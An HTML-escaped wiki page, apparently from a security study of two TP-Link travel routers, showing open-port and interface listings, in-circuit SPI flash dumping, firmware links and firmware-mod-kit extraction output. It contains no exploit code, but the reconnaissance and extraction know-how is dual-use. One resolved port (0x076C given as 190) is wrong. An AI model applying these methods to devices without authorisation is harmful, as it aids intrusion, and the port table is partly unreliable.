&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Interface Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.3    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.4    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.5    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.6    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
ra0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
br0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
  LAN       inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
eth0.2    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FD&lt;br /&gt;
  WAN       inet addr:192.168.0.101  Bcast:192.168.0.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
            inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;
&lt;br /&gt;
rai0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FB&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Wireless Intercafe Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
ifb0      no wireless extensions.&lt;br /&gt;
ifb1      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
br0       no wireless extensions.&lt;br /&gt;
eth0.3    no wireless extensions.&lt;br /&gt;
eth0.4    no wireless extensions.&lt;br /&gt;
eth0.5    no wireless extensions.&lt;br /&gt;
eth0.6    no wireless extensions.&lt;br /&gt;
eth0.2    no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
ra0       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 98:DA:C4:6E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
ra1       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 9A:DA:C4:7E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
apcli0    RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:300 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai0      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 98:DA:C4:6E:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai1      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 9A:DA:C4:6C:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
apclii0   RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:150 Mb/s&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Open Ports&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;cat /proc/net/tcp&lt;br /&gt;
  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt   uid  timeout inode&lt;br /&gt;
   0: 0100007F:4E22 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 604 1 830ec040 300 0 0 2 -1&lt;br /&gt;
   1: 0101A8C0:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1057 1 830ed580 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:076C 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 618 1 830ec480 300 0 0 2 -1&lt;br /&gt;
   3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 548 1 830ed9c0 300 0 0 2 -1&lt;br /&gt;
   4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1029 1 830ecd00 300 0 0 2 -1&lt;br /&gt;
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1090 1 80c279e0 300 0 0 2 -1&lt;br /&gt;
   6: 00000000:9FFB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 994 1 830ec8c0 300 0 0 2 -1&lt;br /&gt;
   7: 0101A8C0:01BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1056 1 830ed140 300 0 0 2 -1&lt;br /&gt;
   8: 0101A8C0:0050 6401A8C0:D633 06 00000000:00000000 03:000001C8 00000000     0        0 0 3 832f6840&amp;lt;&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address 		rem_address  &lt;br /&gt;
   0: 127.0.0.1		:20002 	&lt;br /&gt;
   1: 192.168.1.1	:139 	&lt;br /&gt;
   2: 0.0.0.0		:190 	&lt;br /&gt;
   3: 0.0.0.0		:80 	&lt;br /&gt;
   4: 0.0.0.0		:21 	&lt;br /&gt;
   5: 0.0.0.0		:22 	&lt;br /&gt;
   6: 0.0.0.0		:40955 	&lt;br /&gt;
   7: 192.168.1.1	:445 	&lt;br /&gt;
// Client connection&lt;br /&gt;
   8: 192.168.1.1	:80 	192.168.1.100:54445*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;In-Circuit&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;SPI Flash&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Both examined devices use SPI NOR Flash (SOP8) to store data and/or (parts of) the firmware. The TL-WR902AC additionally uses a NAND flash chip, to which the chip-off data extraction needs to be applied. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: TL-WR902AC: [https://www.winbond.com/resource-files/w25q64cv_revh_052214[2].pdf 25Q64CSIG]. TL-WR802N: [https://www.winbond.com/resource-files/w25q64jv%20spi%20%20%20revc%2006032016%20kms.pdf Winbond 25Q64JVS10]. Not processed yet.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;Current Version&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: VX describes the Hardware version X&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Need to review links and complete the list.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/eu/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/eu/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/us/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;DE&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/de/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/de/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/de/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;AT&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/at/support/download/tl-wr802n/v2/#Firmware V2]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/jp/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/jp/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Known Versions&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 40px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;HW&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Firmware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(EU)_V1_170628.zip 170628], [https://static.tp-link.com/TL-WR902AC(EU)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(US)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2019/201912/20191213/TL-WR902AC(EU)_V3_191018.zip 191018], &amp;lt;b&amp;gt;[https://static.tp-link.com/2017/201712/20171208/TL-WR902AC(EU)_V3_170828.zip 170828]&amp;lt;/b&amp;gt;, [https://static.tp-link.com/TL-WR902AC(EU)_V3_170717.zip 170717]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2020/202001/20200119/TL-WR902AC(US)_V3_191209.zip 191209], [https://static.tp-link.com/2018/201803/20180327/TL-WR902AC(US)_V3_171229.zip 171229], [https://static.tp-link.com/2017/201712/20171215/TL-WR902AC(US)_V3_170826.zip 170826]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of some TP-Link products can be replaced with third-party firmware such as [https://dd-wrt.com DD-WRT]. TP-Link is not obligated to provide support or warranty for such modified devices, nor is it responsible for their stability or performance. TP-Link will not replace any damage caused by third-party firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Using &amp;lt;b&amp;gt;[https://github.com/rampageX/firmware-mod-kit/wiki firmware-mod-kit]&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ ./firmware-mod-kit/extract-firmware.sh ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&lt;br /&gt;
&lt;br /&gt;
Scanning firmware...&lt;br /&gt;
&lt;br /&gt;
Scan Time:     2020-06-20 03:58:35&lt;br /&gt;
Target File:   ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&lt;br /&gt;
MD5 Checksum:  4e87ca6fb7717bb509e843fbac2d060e&lt;br /&gt;
Signatures:    344&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
82384         0x141D0         U-Boot version string, &amp;quot;U-Boot 1.1.3 (Oct 18 2019 - 09:12:58)&amp;quot;&lt;br /&gt;
132096        0x20400         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3634292 bytes&lt;br /&gt;
1442304       0x160200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6375860 bytes, 759 inodes, blocksize: 131072 bytes, created: 2019-10-18 01:32:50&lt;br /&gt;
&lt;br /&gt;
Extracting 1442304 bytes of  header image at offset 0&lt;br /&gt;
Extracting squashfs file system at offset 1442304&lt;br /&gt;
Extracting squashfs files...&lt;br /&gt;
Firmware extraction successful!&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;GPL Code&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/resources/gpl/gpl_902acv1_eu.tar.gz V1], [https://static.tp-link.com/resources/gpl/GPL_WR902AC_NEW.tar.gz V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: [https://www.tp-link.com/at/support/gpl-code/ GPL-Code-Center]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Had a bad day? Try some developer notes! 谢谢！&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;C&amp;quot;&amp;gt;/* Find it out, where you are? ^_^, update config first */&lt;br /&gt;
&lt;br /&gt;
/* Bug ^_^ be careful */&lt;br /&gt;
&lt;br /&gt;
/* Do not care about the others now */&lt;br /&gt;
default:&lt;br /&gt;
	DEBUG(&amp;quot;we don&#039;t care it,^_^!&amp;quot;);&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* &lt;br /&gt;
 * brief: just rebuild all ,so what about big big disk? just pray ^_^&lt;br /&gt;
 *		  maybe use sqlite... in the future.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
/* Do it again and again are you tired ^_^? */&lt;br /&gt;
&lt;br /&gt;
/* For passing test, and let the customer be happy, we ... ^_^, it is not so bad */&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/press/award/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr902ac/ (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/TL-WR902AC.pdf (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
